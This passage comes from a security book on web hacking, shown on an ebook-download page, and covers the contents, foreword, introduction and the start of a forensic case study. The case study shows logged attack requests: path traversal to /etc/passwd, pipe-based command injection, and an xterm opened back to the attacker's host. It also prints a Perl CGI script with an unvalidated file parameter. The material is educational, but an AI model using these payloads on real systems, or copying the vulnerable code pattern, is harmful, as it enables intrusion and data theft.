0% found this document useful (0 votes)
22 views72 pages

55189

The document is a comprehensive guide on web hacking attacks and defenses, authored by Stuart McClure, Saumil Shah, and Shreeraj Shah. It covers various aspects of web security, including the technologies involved, common vulnerabilities, and countermeasures against attacks. The content is structured into parts and chapters, detailing case studies, technical explanations, and practical advice for securing web applications.

Uploaded by

yolediboto
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
22 views72 pages

55189

The document is a comprehensive guide on web hacking attacks and defenses, authored by Stuart McClure, Saumil Shah, and Shreeraj Shah. It covers various aspects of web security, including the technologies involved, common vulnerabilities, and countermeasures against attacks. The content is structured into parts and chapters, detailing case studies, technical explanations, and practical advice for securing web applications.

Uploaded by

yolediboto
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 72

Web hacking attacks and defense 3rd repr Edition

Mcclure pdf download

https://ebookgate.com/product/web-hacking-attacks-and-
defense-3rd-repr-edition-mcclure/

Get Instant Ebook Downloads – Browse at https://ebookgate.com


Instant digital products (PDF, ePub, MOBI) available
Download now and explore formats that suit you...

Hacking Exposed Network Security Secrets Solutions 3rd


Edition Stuart Mcclure

https://ebookgate.com/product/hacking-exposed-network-security-
secrets-solutions-3rd-edition-stuart-mcclure/

ebookgate.com

Client Side Attacks and Defense 1st Edition Oriyano Sean-


Philip

https://ebookgate.com/product/client-side-attacks-and-defense-1st-
edition-oriyano-sean-philip/

ebookgate.com

Hacking exposed 6 network security secrets solutions 6th


ed Edition Stuart Mcclure

https://ebookgate.com/product/hacking-exposed-6-network-security-
secrets-solutions-6th-ed-edition-stuart-mcclure/

ebookgate.com

Web Hacking Arsenal 1st Edition Rafay Baloch

https://ebookgate.com/product/web-hacking-arsenal-1st-edition-rafay-
baloch/

ebookgate.com
Hack Attacks Revealed A Complete Reference with Custom
Security Hacking Toolkit John Chirillo

https://ebookgate.com/product/hack-attacks-revealed-a-complete-
reference-with-custom-security-hacking-toolkit-john-chirillo/

ebookgate.com

Hacking Exposed Web applications 1st Edition Joel Scambray

https://ebookgate.com/product/hacking-exposed-web-applications-1st-
edition-joel-scambray/

ebookgate.com

Hacking Exposed Windows 3rd Edition Scambray

https://ebookgate.com/product/hacking-exposed-windows-3rd-edition-
scambray/

ebookgate.com

Web Technologies TCP IP Web Java Programming and Cloud


Computing 3rd Edition Achyut S. Godbole

https://ebookgate.com/product/web-technologies-tcp-ip-web-java-
programming-and-cloud-computing-3rd-edition-achyut-s-godbole/

ebookgate.com

Sorrow and Consolation in Italian Humanism George W.


Mcclure

https://ebookgate.com/product/sorrow-and-consolation-in-italian-
humanism-george-w-mcclure/

ebookgate.com
Web Hacking
This page intentionally left blank
Web Hacking
Attacks and Defense

STUART McCLURE
SAUMIL SHAH
SHREERAJ SHAH

Boston • San Francisco • New York • Toronto • Montreal


London • Munich • Paris • Madrid
Capetown • Sydney • Tokyo • Singapore • Mexico City
Many of the designations used by manufacturers and sellers to distinguish their products are claimed
as trademarks. Where those designations appear in this book, and Addison-Wesley was aware of a
trademark claim, the designations have been printed with initial capital letters or in all capitals.

The authors and publisher have taken care in the preparation of this book, but make no expressed or
implied warranty of any kind and assume no responsibility for errors or omissions. No liability is
assumed for incidental or consequential damages in connection with or arising out of the use of the
information or programs contained herein.

The publisher offers discounts on this book when ordered in quantity for bulk purchases and special
sales. For more information, please contact:

U.S. Corporate and Government Sales


(800) 382-3419
corpsales@pearsontechgroup.com

For sales outside of the U.S., please contact:

International Sales
(317) 581-3793
international@pearsontechgroup.com

Visit Addison-Wesley on the Web: www.awprofessional.com

Library of Congress Control Number: 2002107711

Copyright © 2003 by Pearson Education, Inc.

All rights reserved. No part of this publication may be reproduced, stored in a retrieval system, or
transmitted, in any form, or by any means, electronic, mechanical, photocopying, recording, or oth-
erwise, without the prior consent of the publisher. Printed in the United States of America. Published
simultaneously in Canada.

For information on obtaining permission for use of material from this work, please submit a written
request to:

Pearson Education, Inc.


Rights and Contracts Department
75 Arlington Street, Suite 300
Boston, MA 02116
Fax: (617) 848-7047

ISBN: 0-201-76176-9
3 4 5 6 7 8 9 10—CRS—0605040
Third printing, February 2005
To those close to me: your unwavering support makes everything
possible.

—Stuart McClure

This book is dedicated to dear Rajalbhai for his academic


guidance and love.

—Shreeraj Shah

To my family, my friends, and my country.


—Saumil Shah
This page intentionally left blank
Contents
viii Contents

Foreword xxi

Introduction xxv
“We’re Secure, We Have a Firewall” xxvi
To Err Is Human xxvi
Writing on the Wall xxvi
Book Organization xxvii
Parts xxvii
Chapters xxviii
A Final Word xxx
Acknowledgments xxx
Contributor xxx

Part One: The E-Commerce Playground 1


Case Study: Acme Art, Inc. Hacked! 2

Chapter 1: Web Languages: The Babylon of the 21st Century 11


Introduction 12
Languages of the Web 13
HTML 13
Dynamic HTML (DHTML) 16
XML 16
XHTML 17
Perl 18
PHP 22
ColdFusion 25
Active Server Pages 27
CGI 33
Java 38
Summary 51
Contents ix

Chapter 2: Web and Database Servers 53


Introduction 54
Web Servers 54
Apache 54
Microsoft’s Internet Information Server (IIS) 60
Database Servers 70
Microsoft SQL Server 71
Oracle 80
Summary 90

Chapter 3: Shopping Carts and Payment Gateways 91


Introduction 92
Evolution of the Storefront 93
Electronic Shopping 96
Shopping Cart Systems 97
Scope and Lifetime of an Electronic Shopping Cart 97
Collecting, Analyzing, and Comparing Selected Components 98
Keeping Track of the Total Cost 99
Change of Mind 99
Processing the Purchase 99
Implementation of a Shopping Cart Application 100
Product Catalog 100
Session Management 101
Database Interfacing 102
Integration with the Payment Gateway 102
Examples of Poorly Implemented Shopping Carts 103
Carello Shopping Cart 103
DCShop Shopping Cart 104
Hassan Consulting’s Shopping Cart 104
Cart32 and Several Other Shopping Carts 105
Processing Payments 105
x Contents

Finalizing the Order 105


Method of Payment 105
Verification and Fraud Protection 106
Order Fulfillment and Receipt Generation 106
Overview of the Payment Processing System 106
Innovative Ways to Combat Credit Card Fraud 107
Order Confirmation Page 109
Payment Gateway Interface 109
Transaction Database Interface 110
Interfacing with a Payment Gateway—An Example 110
Payment System Implementation Issues 114
Integration 114
Temporary Information 114
SSL 114
Storing User Profiles 114
Vulnerabilities Caused by Poor Integration of Shopping Cart
and Payment Gateway 115
PayPal—Enabling Individuals to Accept Electronic Payments 115
Summary 116

Chapter 4: HTTP and HTTPS: The Hacking Protocols 117


Introduction 118
Protocols of the Web 118
HTTP 119
HTTPS (HTTP over SSL) 128
Summary 130

Chapter 5: URL: The Web Hacker’s Sword 131


Introduction 132
URL Structure 133
Web Hacker Psychology 135
URLs and Parameter Passing 136
Contents xi

URL Encoding 138


Meta-Characters 138
Specifying Special Characters on the URL String 139
Meta-Characters and Input Validation 140
Unicode Encoding 141
The Acme Art, Inc. Hack 142
Abusing URL Encoding 143
Unicode Encoding and Code Red’s Shell Code 143
Unicode Vulnerability 144
The Double-Decode or Superfluous Decode Vulnerability 146
HTML Forms 148
Anatomy of an HTML Form 149
Input Elements 151
Parameter Passing Via GET and POST 151
Summary 157

Part Two: URLs Unraveled 159


Case Study: Reconnaissance Leaks Corporate Assets 160

Chapter 6: Web: Under (the) Cover 163


Introduction 164
The Components of a Web Application 164
The Front-End Web Server 165
The Web Application Execution Environment 168
The Database Server 169
Wiring the Components 169
The Native Application Processing Environment 169
Web Server APIs and Plug-Ins 169
URL Mapping and Internal Proxying 171
Proxying with a Back-End Application Server 171
xii Contents

Examples 171
Connecting with the Database 175
The Craftiest Hack of Them All 176
Using Native Database APIs 177
Examples 178
Using ODBC 179
Using JDBC 179
Specialized Web Application Servers 180
Identifying Web Application Components from URLs 181
The Basics of Technology Identification 182
Examples 184
More Examples 186
Advanced Techniques for Technology Identification 188
Examples 189
Identifying Database Servers 190
Countermeasures 192
Rule 1: Minimize Information Leaked from the HTTP Header 192
Rule 2: Prevent Error Information from Being Sent to the Browser 192
Summary 194

Chapter 7: Reading Between the Lines 195


Introduction 196
Information Leakage Through HTML 197
What the Browsers Don’t Show You 197
Netscape Navigator—View | Page Source 198
Internet Explorer—View | Source 199
Clues to Look For 200
HTML Comments 200
Revision History 202
Developer or Author Details 202
Cross-References to Other Areas of the Web Application 202
Contents xiii

Reminders and Placeholders 203


Comments Inserted by Web Application Servers 204
Old “Commented-Out” Code 204
Internal and External Hyperlinks 205
E-mail Addresses and Usernames 206
UBE, UCE, Junk Mail, and Spam 206
Keywords and Meta Tags 207
Hidden Fields 208
Client-Side Scripts 208
Automated Source Sifting Techniques 210
Using wget 210
Using grep 213
Sam Spade, Black Widow, and Teleport Pro 214
Summary 215

Chapter 8: Site Linkage Analysis 217


Introduction 218
HTML and Site Linkage Analysis 218
Site Linkage Analysis Methodology 219
Step 1: Crawling the Web Site 221
Crawling a Site Manually 221
A Closer Look at the HTTP Response Header 221
Some Popular Tools for Site Linkage Analysis 222
Step-1 Wrap-Up 226
Crawlers and Redirection 227
Step 2: Creating Logical Groups Within the Application Structure 228
Step-2 Wrap-Up 231
Step 3: Analyzing Each Web Resource 232
1. Extension Analysis 233
2. URL Path Analysis 233
3. Session Analysis 234
xiv Contents

4. Form Determination 235


5. Applet and Object Identification 235
6. Client-Side Script Evaluation 236
7. Comment and E-Mail Address Analysis 236
Step-3 Wrap-Up 237
Step 4: Inventorying Web Resources 238
Summary 239

Part Three: How Do They Do It? 241


Case Study: How Boris Met Anna’s Need for Art Supplies 242

Chapter 9: Cyber Graffiti 245


Introduction 246
Defacing Acme Travel, Inc.’s Web Site 246
Mapping the Target Network 249
Throwing Proxy Servers in Reverse 250
Brute Forcing HTTP Authentication 253
Directory Browsing 258
Uploading the Defaced Pages 262
What Went Wrong? 265
HTTP Brute-Forcing Tools 267
Brutus 267
WebCracker 4.0 268
Countermeasures Against the Acme Travel, Inc. Hack 269
Turning Off Reverse Proxying 270
Using Stronger HTTP Authentication Passwords 272
Turning off Directory Browsing 272
Summary 273
Contents xv

Chapter 10: E-Shoplifting 275


Introduction 276
Building an Electronic Store 277
The Store Front-End 277
The Shopping Cart 277
The Checkout Station 278
The Database 278
Putting It All Together 279
Evolution of Electronic Storefronts 279
Robbing Acme Fashions, Inc. 281
Setting Up Acme’s Electronic Storefront 281
Tracking Down the Problem 282
Bypassing Client-Side Validation 290
Using Search Engines to Look for Hidden Fields 291
Overhauling www.acme-fashions.com 297
Facing a New Problem with the Overhauled System 297
Postmortem and Further Countermeasures 301
Shopping Carts with Remote Command Execution 302
Summary 306

Chapter 11: Database Access 307


Introduction 308
Direct SQL Attacks 308
A Used Car Dealership Is Hacked 311
Input Validation 311
Countermeasures 317
Summary 318
xvi Contents

Chapter 12: Java: Remote Command Execution 319


Introduction 320
Java-Driven Technology 321
Architecture of Java Application Servers 322
Attacking a Java Web Server 323
Identifying Loopholes in Java Application Servers 325
Example: Online Stock Trading Portal 326
Invoking FileServlet 329
Countermeasures 338
Harden the Java Web Server 339
Other Conceptual Countermeasures 340
Summary 342

Chapter 13: Impersonation 343


Introduction 344
Session Hijacking: A Stolen Identity and a Broken Date 344
March 5, 7:00 A.M.—Alice’s Residence 345
8:30 A.M.—Alice’s Workplace 346
10:00 A.M.—Bob’s Office 348
11:00 A.M.—Bob’s Office 350
12:30 P.M.—Alice’s Office 352
9:30 P.M.—Bertolini’s Italian Cuisine 353
Session Hijacking 354
Postmortem of the Session Hijacking Attack 356
Application State Diagrams 356
HTTP and Session Tracking 358
Stateless Versus Stateful Applications 360
Cookies and Hidden Fields 362
Cookie Control, Using Netscape on a Unix Platform 362
Cookies 363
Hidden Fields 363
Contents xvii

Implementing Session and State Tracking 363


Session Identifiers Should Be Unique 364
Session Identifiers Should Not Be “Guessable” 364
Session Identifiers Should Be Independent 364
Session Identifiers Should Be Mapped with Client-Side Connections 365
Summary 365

Chapter 14: Buffer Overflows: On-the-Fly 367


Introduction 368
Example 368
Buffer Overflows 369
Buffer Overflow: Its Simplest Form 370
Buffer Overflow: An Example 375
Postmortem Countermeasures 382
Summary 382

Part Four: Advanced Web Kung Fu 383


Case Study 384

Chapter 15: Web Hacking: Automated Tools 387


Introduction 388
Netcat 388
Whisker 390
Brute Force 392
Brutus 394
Achilles 398
Cookie Pal 402
Teleport Pro 413
Security Recommendations 414
Summary 415
xviii Contents

Chapter 16: Worms 417


Introduction 418
Code Red Worm 418
January 26, 2000 418
June 18, 2001: The First Attack 418
July 12, 2001 419
July 19, 2001 421
August 4, 2001 421
Nimda Worm 423
Combatting Worm Evolution 425
React and Respond 426
Summary 426

Chapter 17: Beating the IDS 427


Introduction 428
IDS Basics 428
Network IDSs 429
Host-Based IDSs 429
IDS Accuracy 430
Getting Past an IDS 430
Secure Hacking—Hacking Over SSL 431
Example 432
Tunneling Attacks via SSL 434
Intrusion Detection via SSL 435
Sniffing SSL Traffic 435
Polymorphic URLs 439
Hexadecimal Encoding 440
Illegal Unicode/Superfluous Encoding 441
Adding Fake Paths 442
Inserting Slash-Dot-Slash Strings 442
Using Nonstandard Path Separators 443
Contents xix

Using Multiple Slashes 443


Mixing Various Techniques 443
Generating False Positives 444
IDS Evasion in Vulnerability Checkers 445
Potential Countermeasures 446
SSL Decryption 446
URL Decoding 447
Summary 447

Appendix A: Web and Database Port Listing 449

Appendix B: HTTP/1.1 and HTTP/1.0 Method and Field Definitions 453

Appendix C: Remote Command Execution Cheat Sheet 459

Appendix D: Source Code, File, and Directory Disclosure Cheat Sheet 463

Appendix E: Resources and Links 471

Appendix F: Web-Related Tools 473

Index 477
This page intentionally left blank
For ewor d
xxii Foreword

In your hands is a book that is an essential companion safeguarding


the increasingly critical Web sites and e-commerce systems that are the
cornerstone of global e-businesses. Web Hacking: Attacks and Defense
offers the distilled experience of leading security consultants that will
help level the playing field for the beleaguered security and IT staff chal-
lenged with fending off the hacker onslaught—those who see the
Internet as a faster and more efficient mechanism for stealing from and
abusing others. If you read and apply the lessons offered here, some of
the most disreputable people on the Internet are going to be severely
disappointed, as some of their most effective tricks will be useless
against your sites. They will have to be much more creative and work a
lot harder to compromise the security of your applications. These pages
are filled with the knowledge and distilled experience of some of the
world’s best white-hat hackers, the stalwart consultants of Foundstone.
The authors have delivered eye-opening and dazzling insights into
the world of Web site and application hacking. Some of the most dev-
astating tools and techniques that have been used by cyber criminals
and hackers to lay waste to Web sites around the planet are discussed
in this book. The part opener case studies and chapter examples lay out
in stunning detail the consequences of failing to understand and antic-
ipate the many methods that are available and in use by the “dark side.”
The countermeasures necessary to combat these depredations are
detailed with clinical efficiency. To defeat thieves, it helps to know
where, how, and why they strike and the weak points they favor. Web
Hacking is your guidebook to these techniques.
The book is a technical tour de force chock full of valuable descrip-
tions of how, when, where, and why elements of the Web site will be
attacked. It balances accurate and complete technical exposition with
explanations that help less technically knowledgeable readers grasp the
essential elements of the attacks and essential defenses.
Shocking in some places, it describes how even well-trained Web site
designers and operators often make crucial mistakes in implementing
sites. By the time you have read this book, you will have learned dozens
of ways that Web sites can be attacked and manipulated. The first and
most important step is to accept the fact that the threat to Web sites is
real and ever increasing. Given that, the Internet provides the perfect
environment for hacking, and this book helps e-commerce and online
businesses to understand and guard against these global risks.
The chapters are replete with examples that drive home the lesson
that the Internet really is a dangerous place to operate a business. When
virtual storefronts meet real criminals operating in cyberspace even
Foreword xxiii

seemingly minor errors (the way sites are coded and how components
are linked) can create huge vulnerabilities. Recent research by the Hon-
eynet (www.honeynet.org) project has proven that an inadequately
secured site will be attacked within minutes after it becomes visible on
the Internet. What is worse, commercial Web sites with high-risk vul-
nerabilities will be exploited by criminals who may never be identified,
and even if they are found, could well be out of reach of traditional law
enforcement agencies. Even nonprofit sites may be defaced or abused
to provide online storage for illegal transactions such as cracked
software.
We live in an age reminiscent of the American Old West, and it’s
too often a case of survival of the fittest. When classic law enforcement
methods do little to prevent attacks, IT managers and Web site designers
and operators cannot rely on luck alone to defend their vital e-business
environments. Knowledge truly is power, so equip yourself and your
organization with the insights of some of the best ethical hackers to be
found anywhere. This book is a virtual battle plan that will help you
identify and eliminate threats that could take your Web site off line
due to cyber fraud, defacement, unauthorized access, modification, or
destruction. Let the insights of these expert security consultants work
for you and sleep better knowing that you and your organization are
doing your part to reduce the potential for cyber crime.

William C. Boni
Chief Information Security Officer, Motorola
July 2002
This page intentionally left blank
Intr oduction

Truth is one, but error proliferates. Man tracks it down and cuts
it up into little pieces hoping to turn it into grains of truth. But
the ultimate atom will always essentially be an error, a
miscalculation.

René Daumal (1908–1944), French poet, critic.


xxvi Introduction

“We’re Secure, We Have a Firewall”


If only we had a nickel for every time we’ve heard a client utter these
words. We’d probably not be writing this book; rather, we’d be sipping
Piña Coladas on some white sand beach by now and. . . .
If you’re skeptical, all warm and cozy next to your firewall, just
remember this: Over 65% of reported attacks occur via TCP port 80,
the traditional Web port (http://www.incidents.org). Is the threat to
the Web real? You bet—it’s all too real.

To Err Is Human
In the course of performing hundreds of security reviews over the
decades, we learned what you are about to learn (if you don’t already
know it): Nothing can be truly secure. Error is at the heart of every
security breach and, as the saying goes: To err is human. No level of
firewall, intrusion detection system (IDS), or anti-virus software will
make you secure. Are you surprised that this type of comment intro-
duces a security book? Don’t be. It is the harsh reality that must be
accepted before the race to security can be started.
So what should you do, just throw up your hands, turn off the
power to your computer and ignore the Internet, the modem, and the
computer? Sure, you can do that but you would be alone in your efforts.
The Internet and all it has to offer is undeniable: increased communi-
cation and information sharing, connecting with people of all races,
creeds, colors, sexes, and intelligence without boundaries or limits. And
those are just the home users’ benefits. Businesses use the Internet 24
hours a day, 7 days a week, making money and transmitting funds
around the world at the blink of an eye. Anyone who denies the
ubiquity and staying power of the Internet is just kidding themselves.

Writing on the Wall


More than three years ago, one of the authors of this book wrote a fore-
boding article that was indicative of things to come. Printed on August
9, 1999, it was titled “Bane of e-commerce: We’re secure: We allow only
Web traffic through our firewall” (http://www.infoworld.com/articles/
op/xml/99/08/09/ 990809opsecwatch.xml). The article warned of flaws
in the security wall at that time, but no one wanted to believe it, much
Introduction xxvii

less talk about it. Everyone seemingly was too caught up in either hyped
technologies, such as Firewalls, IDS, and virtual private networks (VPN),
or peripheral technologies that never hit mainstream, such as Public Key
Infrastructure (PKI), Distributed Computing Environment (DCE), and
single signon.
So why the tremendous interest in the Web and its security now?
Because hacking events occur frequently in today’s connected world.
And people are beginning to understand how a single vulnerability in
a Web application can expose an entire company’s information system
to an attacker (a.k.a. Code Red and Nimda worms).

Book Organization
We wrote this book for maximum absorption and comprehension—that
is, moving from introductory to intermediate to advanced techniques
and concepts. To accomplish this goal, we organized this book into four
parts, containing seventeen chapters, and appendices.

Parts
• Part One—The E-Commerce Playground
• Part Two—URLs Unraveled
• Part Three—How Do They Do It?
• Part Four—Advanced Web Kung Fu

Each Part gets progressively more advanced in content and delivery,


going from a brief Web languages introduction (Chapter 1) to finding
and exploiting your own buffer overflows (Chapter 14). But don’t let the
increasing pace derail your learning. If you missed something, you can
go back to it or, in some cases, you may be able to pick it up as you go
along.
Parts One and Two give you a preliminary and then an interme-
diate introduction to the World Wide Web. In E-Commerce Playground
we show you how the Web works—its languages, applications, data-
bases, protocols, and syntax. In URLs Unraveled, we delve into the
meaning of the URL, what is important to an attacker, and how visible
xxviii Introduction

code can be helpful to an attacker; we also show you how mapping Web
sites can be crucial to an attacker’s repertoire.
In Part Three we demystify the art of Web hacking, how it is pulled
off, and how simple steps at development time can eliminate a large
portion of the threat. This part is by far the meatier of the parts in terms
of the information presented and often provides the best clues about
how hackers do what they do. Each chapter provides both a detailed
analysis of the hack as well as a countermeasure section at the end to
help prevent the hack.
In Part Four we discuss some advanced Web hacking concepts,
methodologies, and tools that you simply can’t afford to miss.
Finally, at the end of the book, you will find Appendices that
include a list of common Web ports on the Internet, cheat sheets for
remote command execution, and source code disclosure techniques,
among other useful information.

Chapters
Part One, The E-Commerce Playground, contains five chapters.

• Chapter 1, Web Languages: The Babylon of the 21st Century—dis-


cusses all the major Web languages used on the Internet today.
• Chapter 2, Web and Database Servers—discusses the technologies
behind the Web and how they introduce vulnerabilities.
• Chapter 3, Shopping Carts and Payment Gateways—discusses the
technologies behind online shopping carts and E-commerce sites on
the Web.
• Chapter 4, HTTP and HTTPS: The Hacking Protocols—discusses the
two main protocols used to direct Web and E-commerce traffic on
the Internet.
• Chapter 5, URL: The Web Hacker’s Sword—discusses understanding
everything about a Web site just from reading the URL.

Part Two, URLs Unraveled, contains three chapters.


Introduction xxix

• Chapter 6, Web: Under(the)Cover—discusses the details of a com-


plete Web application, including all its components and depend-
encies.
• Chapter 7, Reading Between the Lines—discusses the fine art of dis-
closing source in a Web browser or alternative interface.
• Chapter 8, Site Linkage Analysis—discusses how attackers inventory
a Web site to understand the application as a whole and how to
attack it.

Part Three, How Do They Do It?, contains six chapters.

• Chapter 9, Cyber Grafitti—discusses how attackers deface Web sites,


their techniques, and their tricks.
• Chapter 10, E-Shoplifting—discusses how attackers commit online
shoplifting by tricking an application to give them merchandise at
a lower price.
• Chapter 11, Database Access—discusses how attackers break into
Web applications through the database.
• Chapter 12, Java: Remote Command Execution—discusses how
attackers use Java as a mechanism for breaking into a system.
• Chapter 13, Impersonation—discusses how an attacker can take on
another user’s identity.
• Chapter 14, Buffer Overflows: On-the-Fly—discusses how an
attacker can identify and create overflows in an application.

Part Four, Advanced Web Kung Fu, contains the final three chapters.

• Chapter 15, Web Hacking: Automated Tools—discusses the tools and


techniques that hackers use to perform many of their tricks in an
automated fashion.
• Chapter 16, Worms—discusses the deadly worm and how it is
created, propagated, and removed.
• Chapter 17, Beating the IDS—discusses how IDS can help and hurt
a hunt for an attacker.
xxx Introduction

A Final Word
This book offers both an introduction to hacking and a detailed look
into the world of the Web hacker. At the same time it is intended to be
an easy read—one that you won’t be tempted to add to your list of
insomnia cures. The ideal way to approach the book is from front to
back. However, if you begin with a basic knowledge of security and Web
technologies, you should have no problem jumping right into Part Two
(URLs Unraveled) and Part Three (How Do They Do It?).
Vulnerabilities will always be present in any environment, but we
hope that people using the Web and Internet will wake up and smell the
coffee and correct their misconceptions and mistakes. Because if they
don’t, a hacker most certainly will.

Acknowledgments
Many elements contributed to the work that we all put into this book.
First and foremost, we would like to thank the editorial staff at Addison-
Wesley. Their guidance and patience throughout the process is laudable.
Sincere respect and gratitude must go out to the dedicated professionals
at Foundstone. The combined brainpower found at the company con-
tinues to impress and amaze.
We applaud the work of the security researchers in the industry,
whom we have had the privilege of rubbing shoulders with (you all
know who you are). Our gratitude also goes to our friends at Net-Square
in India, for helping us research and collaborate on many topics in the
book.
Finally, we would especially like to thank Barnaby Jack for his con-
tributions to this book.

Contributor
Barnaby Jack is a Research and Development Engineer with Foundstone
where he specializes in vulnerability research and exploit development.
Prior to joining Foundstone he was an engineer with the COVERT
research team at Network Associates.
Introduction xxxi

He has been deeply involved with operating system internals for a


number of years, primarily concentrating on Windows NT and its deriv-
atives. He has performed considerable research in the field of Windows
exploitation methods, and his work and articles have subsequently been
referenced in a number of major security publications.
This page intentionally left blank
PART ONE

The E-Commer ce
Playgr ound
2 The E-Commerce Playground

Case Study: Acme Art, Inc. Hacked!


O CTOBER 31, 2001, was a bad day for the new Acme Art, Inc., Web
site, www.acme-art.com. A hacker stole credit card numbers from its
online store’s database and posted them on a Usenet newsgroup. The
media were quick and merciless and within hours Acme Art had lost
hundreds of thousands of dollars in customer orders, bad publicity, and
most important, its much needed second round of venture capital
funding. Acme Art’s chief information officer (CIO) was perplexed.
What had gone wrong with his recently commissioned security audit?
Everything seemed fine. The firewalls prevented everything but HTTP
traffic via ports 80 and 443. Going over the incident with a fine-toothed
comb, the postmortem computer forensics team found the following
evidence in the Web server’s log file.

Group (a)
10.0.1.21 - - [31/Oct/2001:03:02:47 +0530] "GET / HTTP/1.0" 200 3008
10.0.1.21 - - [31/Oct/2001:03:02:47 +0530] "GET /yf_thumb.jpg HTTP/1.0" 200 3452
10.0.1.21 - - [31/Oct/2001:03:02:47 +0530] "GET /fl_thumb.jpg HTTP/1.0" 200 8468
10.0.1.21 - - [31/Oct/2001:03:02:47 +0530] "GET /th_thumb.jpg HTTP/1.0" 200 6912
10.0.1.21 - - [31/Oct/2001:03:02:47 +0530] "GET /mn_thumb.jpg HTTP/1.0" 200 7891

Group (b)
10.0.1.21 - - [31/Oct/2001:03:03:13 +0530] "GET /index.cgi?page=falls.shtml HTTP/1.0"
200 610
10.0.1.21 - - [31/Oct/2001:03:03:13 +0530] "GET /falls.jpg HTTP/1.0" 200 52640
10.0.1.21 - - [31/Oct/2001:03:03:18 +0530] "GET /index.cgi?page=tahoe1.shtml HTTP/1.0"
200 652
10.0.1.21 - - [31/Oct/2001:03:03:18 +0530] "GET /tahoe1.jpg HTTP/1.0" 200 36580

Group (c)
10.0.1.21 - - [31/Oct/2001:03:03:41 +0530] "GET /cgi-bin/ HTTP/1.0" 403 272

Group (d)
10.0.1.21 - - [31/Oct/2001:03:04:10 +0530] "GET /index.cgi HTTP/1.0" 200 3008
10.0.1.21 - - [31/Oct/2001:03:05:31 +0530] "GET /index.cgi?page=index.cgi HTTP/1.0" 200
358

Group (e)
10.0.1.21 - - [31/Oct/2001:03:06:21 +0530] "GET
/index.cgi?page=/../../../../../../../../../etc/passwd HTTP/1.0" 200 723
Case Study: Acme Art, Inc., Hacked! 3

Group (f)
10.0.1.21 - - [31/Oct/2001:03:07:01 +0530] "GET /index.cgi?page=|ls+-
la+/%0aid%0awhich+xterm| HTTP/1.0" 200 1228
10.0.1.21 - - [31/Oct/2001:03:17:29 +0530] "GET /index.cgi?page=|xterm+-
display+10.0.1.21:0.0+%26| HTTP/1.0" 200

Let’s follow along with the experts to see how they solved the case.
The site www.acme-art.com was running Apache 1.3.12 on a Linux
system. Acme Art’s programmers used Perl CGI scripts to get the online
Web store up and running. The log file entries in the preceding list
reveal that the attack is coming from 10.0.1.21. At 3:02 A.M., the attacker
first began browsing through the site. The log file’s first five entries
(group a) indicate that the attacker viewed the site’s main page and a few
images on it:

10.0.1.21 - - [31/Oct/2001:03:02:47 +0530] "GET / HTTP/1.0" 200 3008


10.0.1.21 - - [31/Oct/2001:03:02:47 +0530] "GET /yf_thumb.jpg HTTP/1.0" 200 3452
10.0.1.21 - - [31/Oct/2001:03:02:47 +0530] "GET /fl_thumb.jpg HTTP/1.0" 200 8468
10.0.1.21 - - [31/Oct/2001:03:02:47 +0530] "GET /th_thumb.jpg HTTP/1.0" 200 6912
10.0.1.21 - - [31/Oct/2001:03:02:47 +0530] "GET /mn_thumb.jpg HTTP/1.0" 200 7891

If we were to replay the hacker’s moves, Figure 0-1 shows what we


would have seen from the hacker’s point of view.
The next four entries (group b) were caused by the attacker’s clicking
on a couple of links from the main page:

10.0.1.21 - - [31/Oct/2001:03:03:13 +0530] "GET /index.cgi?page=falls.shtml HTTP/1.0"


200 610
10.0.1.21 - - [31/Oct/2001:03:03:13 +0530] "GET /falls.jpg HTTP/1.0" 200 52640
10.0.1.21 - - [31/Oct/2001:03:03:18 +0530] "GET /index.cgi?page=tahoe1.shtml HTTP/1.0"
200 652
10.0.1.21 - - [31/Oct/2001:03:03:18 +0530] "GET /tahoe1.jpg HTTP/1.0" 200 36580

Figure 0-2 shows what the attacker would have seen if he clicked
on the link “Golden Sunset, in oil” from Acme Art’s home page.
At this point, it is difficult to identify the hacker’s intent, because
he has done nothing out of the ordinary. Perhaps he is just nosing
around looking for something interesting. The next entry shows that an
attempt is made to access the /cgi-bin/ directory and perhaps see what is
4 The E-Commerce Playground

Figure 0-1 Acme Art, Inc.’s home page

inside it (group c). The Web server denied this request because it resulted
in an HTTP 403 error response code:

10.0.1.21 - - [31/Oct/2001:03:03:41 +0530] "GET /cgi-bin/ HTTP/1.0" 403 272

Now the attacker makes his move. It seems that he has discovered the
first flaw. At first he looks at the URL http://www.acme-art.com/index.cgi
for a moment and then issues a request for http:// www.acme-
art.com/index.cgi?page=index.cgi. The attacker is following a pattern
observed in the links on the main Web page (group b). Figure 0-3 shows
what the attacker saw on his browser.
The browser display contains the source code of the “index.cgi
script!” The attacker sees that index.cgi accepts a filename as a
parameter and displays the contents of that filename. He uses index.cgi
Case Study: Acme Art, Inc., Hacked! 5

Figure 0-2 Clicking on a link

itself as a parameter to display its own source code. A closer look at the
index.cgi Perl code reveals further vulnerabilities:

01: #!/usr/bin/perl
02: # Perl script to display a page back as requested by the argument
03:
04: require "../cgi-bin/cgi-lib.pl";
05:
06: &ReadParse(*input);
07:
08: $filename = $input{page};
09: if($filename eq "") {
10: $filename = "main.html";
11: }
6 The E-Commerce Playground

Figure 0-3 Source code of index.cgi disclosed

12:
13: print &PrintHeader;
14:
15: $filename = "/usr/local/apache/htdocs/" . $filename;
16: open(FILE, $filename);
17: while(<FILE>) {
18: print $_;
19: }
20: close(FILE);

The vulnerability lies in the lack of validation of the parameters that


are passed to the index.cgi script. The filename passed as a parameter
from the URL is captured in the variable $filename at line 08, appended
to the absolute path “/usr/local/apache/htdocs” at line 15, and finally
opened at line 16.
Case Study: Acme Art, Inc., Hacked! 7

Figure 0-4 Attacker recovering the /etc/passwd file from Acme Art, Inc.’s server

One of the first things that occurs to the attacker when seeing this
omission is the ability to exploit it to retrieve arbitrary files from the
Web server. And the attacker does precisely this, as shown in the next
log file entry (group e):

10.0.1.21 - - [31/Oct/2001:03:06:21 +0530] "GET


/index.cgi?page=/../../../../../../../../../etc/passwd HTTP/1.0" 200 723

Here he uses the browser to send the request: http://www.acme-


art.com/index.cgi?page=/../../../../../../../../../etc/passwd. The entire con-
tents of the /etc/ passwd file are returned and displayed in the browser,
as shown in Figure 0-4.
But the hack doesn’t end here. A second vulnerability is hidden
within the one just discovered. Using a little knowledge of Unix and
Perl, the attacker executes arbitrary commands on the Web server. The
